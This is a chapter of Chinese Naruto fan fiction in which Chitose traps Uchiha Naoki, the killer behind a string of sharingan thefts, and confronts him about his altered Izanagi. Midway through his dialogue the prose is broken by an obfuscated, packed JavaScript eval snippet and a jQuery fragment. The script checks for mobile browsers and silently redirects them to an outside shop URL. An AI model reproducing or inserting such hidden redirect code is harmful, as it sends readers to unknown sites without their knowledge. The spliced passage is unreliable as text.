南贺川北侧
今夜月色皎洁得异乎寻常,清辉遍洒整条川面,流水荡漾,将整片河畔照得通透明亮。
不再是如前几日一般伸手不见五指的黑夜,恰逢月静人稀、万籁俱寂,是一夜之中,动用查克拉感知卷轴、捕捉残留气息的最佳时机。
木叶整座村落沉入酣眠,静谧无声。
吉川身披黑色制式披风,孤身踏至南贺川北岸,驻足在黄色警戒线圈护的案发现场内。
往日湿润松软、覆满青草的湿地,此刻满目狼藉。一夜之间,整片土地的野草尽数被连根拔起、清理殆尽,寸草不生,刻意抹去了所有原生痕迹,处处透着人为清扫的刻意。
吉川眉心微蹙,眼底掠过一丝戒备。
他孤身立于空寂河畔,抬手从忍具包中利落取出感知卷轴,指尖轻触卷轴表层,低吐一字:
“解。”
尘封的术式瞬间解封,繁复的黑色印纹顺着卷轴纹路尽数浮起。
吉川本就精通感知忍术,此刻凝神屏息,不放过周遭空气里一缕一丝残留的查克拉波动,专心溯源昨夜的打斗痕迹。
皎洁月光将他挺拔的身影长长投射在地面,静谧的河畔只剩滔滔川水奔涌不息的声响。
流水轰鸣,恰好完美遮掩了身后缓步逼近的脚步声。
一道黑影手持锋利苦无,敛去全部气息,借着夜色与水声的掩护,一步一步,悄无声息靠近专注感知的吉川。
闭眼凝神的吉川,自始至终未曾回头。
下一瞬,黑影骤然暴起发难,手中苦无裹挟凛冽杀意,直直朝着吉川后颈要害狠狠刺去。
寒光落处,鲜血骤然喷溅,一滴一滴坠落河畔泥土。
肆意喷涌而出的,却是偷袭者自身的鲜血。
黑影瞳孔骤然剧缩,心神巨震。
待他猛然回神之际,眼前方才凝神伫立、一动不动的吉川身影,早已凭空消散、杳无踪迹。
“还打算故技重施吗?”
清冷沉静的少女声线,骤然从他身后虚空响起。
男人强忍腹中撕裂般的剧痛,艰难转头。
月色之下,金发少女不知何时已然瞬移至他身后,手中太刀寒光凛冽,利刃笔直贯穿他的腹腔,精准避开所有致命要害,留其性命,重创其身。
面具下的眼底盛满极致震惊,他全然没料到,昨夜濒死落水的千歲,竟然还活着。
情急之下,他咬牙强忍剧痛,反手紧握苦无,不顾一切朝着身后刺去。
千歲反应迅捷极致,果断抽刀后撤,轻盈后跳拉开数尺距离,与对方形成对峙之势。
白色面具的男人此刻才意识到,自己从一开始,便坠入了对方布下的圈套。
察觉局势败露,他心底只剩逃窜的念头,转身便欲脱身逃离。
可下一瞬,数道凝练紧实的查克拉绳索骤然破空而来,瞬间缠缚他的四肢躯干,层层锁紧,将他牢牢禁锢在原地,分毫动弹不得。
与此同时,吉川单手利落结印,身形再度凝实现身,稳稳立于千歲身侧。
他垂首请示:
“千歲大人,目标嫌疑人已成功禁锢抓获,是否即刻押回警务部队审讯?”
千歲眸光冷冽,定定注视着动弹不得的面具男人,缓步上前:
“把面具摘下来。”
隔着纯白面具,她能清晰窥见对方眼底隐隐闪烁的三勾玉。
吃过一次伊邪那岐的大亏,她不敢有半分轻敌懈怠,心底全程戒备。
“方圆百里尽数被我的警务队员层层封锁,你逃不走的。”
千歲直接开口,断绝他所有侥幸。
可被禁锢的男人对此全然不以为意,语气裹挟着狂妄的嗤笑,满是不屑:
“警务队员?我倒要看看,你们究竟有几分本事。”
话音未落,男人左眼骤然猛地睁大。
千歲心神骤紧,瞬间捕捉到致命危机,当即厉声朝着身侧的吉川警示:
“别看他的对视!”
可提醒终究晚了一瞬。
身后方才伫立稳立的吉川,身躯骤然一软,直直栽倒在地,瞬间陷入昏死。
紧接着,方圆之内,所有潜伏埋伏的警务队员气息齐齐骤弱,尽数如同遭遇无形幻术侵袭,无声昏迷、倒地不起。
整片封锁区域,瞬间沦为无人戒备的空局。
而男人的视野之中,一只原本猩红轮转的写轮眼,正以肉眼可见的速度彻底褪为惨白,彻底失去光泽。
千歲瞳孔微微收缩。
她从未听闻伊邪那岐,无需对视触发,不受距离限制,竟能大范围群体催眠,瞬控方圆所有人。
这与昔日宇智波斑告知她的、必须以视线对视、以单眼寿命换一次命运改写的禁术规则,截然不同。
看着千歲眼底难以掩饰的震惊与错愕,面具下的男人发出一声阴冷冷笑,抬手缓缓摘掉脸上惨白的面具。
张无比熟悉的面容,骤然暴露在皎洁月色之下。
千歲嗓音微颤,带着一丝难以置信:
“直树……大人?”
宇智波直树随手将冰冷的面具弃置一旁,目光沉沉锁定她,语气带着几分玩味的讥讽:
“看你这般震惊,看来从头到尾,你都没能锁定我的身份。”
千歲即便强迫自己稳下心神,大脑飞速运转,快速复盘眼下的线索与情报。
伊邪那岐,必须以施术者与目标视线对视为前置条件,且每发动一次,便会永久献祭一枚写轮眼、透支一眼寿命,仅能改写一次自身命运。
昨夜她落水濒死,全程紧闭双眼、未曾与对方对视,没有死于术式之下。而方才大范围放倒全队警力,耗费了一枚写轮眼。
足以证实,这异变的伊邪那岐并非无懈可击,依旧存在未知的限制与边界。
大概对视以及不需要对视的不同效果。
理清其中关键,千歲压下心悸,抬眸直视眼前的直树:
“接连杀害日向、山中共计十四名族人,窃取宇智波十四枚写轮眼,犯下连环命案的真凶,是直树大人吗?”
如今她手握死亡回溯的底牌,无惧对方的禁术偷袭。眼下唯一的目的,便是撬开他的嘴,摸清伊邪那岐的所有秘密与全部真相。
宇智波直树并未正面回答语气淡漠冰冷,毫无半分悔过:
“他们本就该死。”
刻意回避的态度,让千歲眉心紧蹙:
“直树大人,请正面回答我的问题。”
她生硬直白的追问,彻底刺痛了心底偏执扭曲的宇智波直树。
他眼底戾气翻涌,厉声呵斥:
“你有什么资格对我指手画脚?整日替木叶奔走卖命,怕是早已忘了自己身为宇智波族人的根本立场!”
见他情绪偏激、闭口不谈实情,千歲即刻调转问话方向:
“你是从哪里习得的依邪那岐?宇智波健一的死,你知道一些什么?”
此言一出,宇智波直树骤然低笑出声,笑声阴冷癫狂,让人捉摸不透其心底所思所想。
千歲锁紧眉头,凝神戒备,注视着状态诡异的男人。
下一瞬,宇智波直树缓缓开口:
“日向透、日向日翔的贴身心腹。”
“日向浩介、日向分家精英新起主力。”
“山中弘一、千手阵营铁杆支持者。”
……
一字一句,清晰报出所有遇害者的姓名与派系身份。
他语速平淡无波,复述一条条鲜活人命的逝去,如同在细数路边蝼蚁,毫无半分悲悯与动容。
“果然是你。”
千歲眼底寒意骤深。
这些死者的详细身份、派系归属,皆是特别搜查课的最高机密,从未对外公开。除了办案核心人员,唯有真凶尽数知晓。铁证如山,他再无从抵赖。
“千歲,我实在不懂。”
宇智波直树抬眸,眼底盛满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746689|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
极致的偏执与不甘,语气带着深深的自诩与委屈:
“这群人常年抱团针对宇智波,处处打压族群、挑起派系争斗,他们死了,于宇智波而言百利无一害,你为何偏偏要执着追责?”
“那宇智波被夺去写轮眼无辜丧命的那七人呢。”
千歲语气一点一点变沉,透着一丝压不住的震怒与失望。
提及同族死者,宇智波直树眼底的不屑与暴戾彻底展露无遗,语气偏执扭曲至极:
“我只是最大化利用族群资源罢了。”
“那些族人战力衰退、失去征战能力,留守族地只会空耗资源、毫无用处。倒不如摘取他们的写轮眼,壮大族群,物尽其用!”
“所以你亲手屠戮七名同族,夺取十四枚写轮眼,再以伊邪那岐,葬送十四条无辜性命。”
千歲此刻的失望已然达到了巅峰:
“直树大人,当年鬼塚一战,你挡在我身前的模样,我从未忘记。”
昔日恩情历历在目,是她心底残存的最后一丝不忍与期许。
可这份感念,却彻底刺痛了已然疯魔的宇智波直树。
他骤然情绪失控,厉声怒吼:
“闭嘴!”
“你有什么资格高高在上评判我?!”
“你以为开启万花筒写轮眼,便可以肆意凌驾在我之上?!”
“你该感恩我!是我!亲手为宇智波扫除所有外敌异己!是我默默无闻、背负污名守护族群!”
“你们这群假仁假义的伪善之辈,根本不懂!我才是为宇智波付出最多的人!”
看着他面目癫狂、彻底迷失本心的模样,千歲心底最后一丝期许,彻底消散殆尽。
河畔晚风萧瑟,少女清冷的声音沉落而下,带着彻骨的寒凉:
“你把人命,当成了什么?”
彻底被激怒的宇智波直树,已然丧失所有理智。
他骤然睁大仅剩的最后一枚完好写轮眼,眼底血丝密布,再度催动禁术,欲以伊邪那岐彻底抹杀千歲的性命。
“伊邪那岐!!”
极致的疯狂与偏执尽数迸发,他死死锁定眼前的金发少女,嘶吼出声:
“畏惧我!畏惧这份无上的力量!有它在手,从今往后,无人能再阻拦我半分!!”
最后一枚三勾玉瞳孔快速褪为惨白,视野瞬间模糊涣散。他透支最后一眼寿命,强行改写命运,妄图终结这场对峙。
可预想中的死亡剧痛、命运改写的反噬,丝毫未曾降临。千歲静静伫立原地,安然无恙,分毫未损。
反观宇智波直树,身躯骤然僵在原地,双目彻底失焦空洞,浑身僵直,彻底动弹不得,眼底残留着最后一刻的暴戾与难以置信。
预想中的绝杀彻底失效。
就在这片凝滞死寂的氛围中,一道清冷温和、却极具力量的女声,缓缓自身后响起:
“千歲。”
千歲心神微动,下意识回头。
不知何时,宇智波治里已然悄然现身于她的身后,步履轻缓,徐徐上前。
月色落在治里的面容之上,千歲骤然瞳孔一缩,心底骤然一震。
她清晰看见,治里的其中一只万花筒写轮眼,已然彻底泛白、彻底失明失焦。
“治里小姐……?”
千歲嗓音微颤,满是错愕。
治里淡淡回望她一眼,眼神温和示意她无需担忧、自身无碍。
随即,她转过视线,静静望向眼前僵立不动、双眼尽毁、彻底被禁锢在幻术轮回中的宇智波直树,清冷的眼底,掠过一丝难以言说的酸涩、悲凉与无奈。
千歲静静望着治里孤挺的背影。
良久,治里缓缓抬眸,仅剩的一枚完好万花筒缓缓轮转,精准对上直树空洞失焦的双眼,彻底封死他所有术式与退路。
做完所有收尾,她才缓缓转头,看向身侧怔然的千歲,轻声开口:
“千歲,你知道,伊邪那美吗?”